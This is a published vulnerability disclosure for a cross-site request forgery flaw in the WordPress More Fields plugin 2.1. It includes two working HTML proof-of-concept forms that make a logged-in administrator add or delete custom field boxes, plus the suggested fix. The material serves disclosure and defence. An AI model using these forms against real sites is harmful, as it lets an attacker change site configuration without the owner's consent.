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WordPress More Fields 2.1 Cross Site Request Forgery

WordPress More Fields 2.1 Cross Site Request Forgery
Posted Feb 29, 2016
Authored by Aatif Shahdad

WordPress More Fields plugin versions 2.1 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 683cdaf21f8eef8d717fabe50b552c7e

WordPress More Fields 2.1 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Wordpress More Fields Plugin 2.1 Cross-Site Request Forgery 
# Date: 28-02-2016
# Software Link: https://wordpress.org/support/plugin/more-fields
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/61617469665f736
# Contact: aatif_shahdad@icloud.com
# Category: webapps

1. Description

The plugin More Fields has CSRF token validation disabled for all functions, including the add box and delete box options. As a result, a specially crafted attacker page could cause
a logged-in administrator to add and delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.

2. Proof of Concept

Login as admin to the wp-admin area at http://example.com/wp-admin. Open the following Proof-Of-Concept with the browser that you used to log in.

POC to add box named ‘test’:

--POC begins--
Add Boxes:

<html>
<body>
<form action="https://example.com/wp­admin/options­general.php?page=more-
fields&action=save&keys=_plugin%2C57UPhPh&navigation=boxes" method="POST">
<input type="hidden" name="label" value="test" />
<input type="hidden" name="post_types[]" value="press" />
<input type="hidden" name="position" value="left" />
<input type="hidden" name="fields" value="" />
<input type="hidden" name="ancestor_key" value="" />
<input type="hidden" name="originating_keys" value="_plugin,57UPhPh" />
<input type="hidden" name="action" value="save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Remove Boxes needs the following simple GET request (Assuming the name of the Box we want to delete is ‘test’):

<html>
<body>
<form action="https://example.com/wp­admin/options­general.php">
<input type="hidden" name="page" value="more-fields" />
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="action_keys" value="_plugin,test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Note: I have removed the CSRF tokens from the requests as they are redundant and not validated.

--End of POC--


3. Impact

The attacker can add/delete any number of extra fields in any number of additional boxes on the Write/Edit page in the Admin.

4. Solution:

Add in CSRF token validation to the plugin or switch to a different plugin. The development of the Plugin has ceased so this happens to be the latest version which can’t be upgraded as of now.

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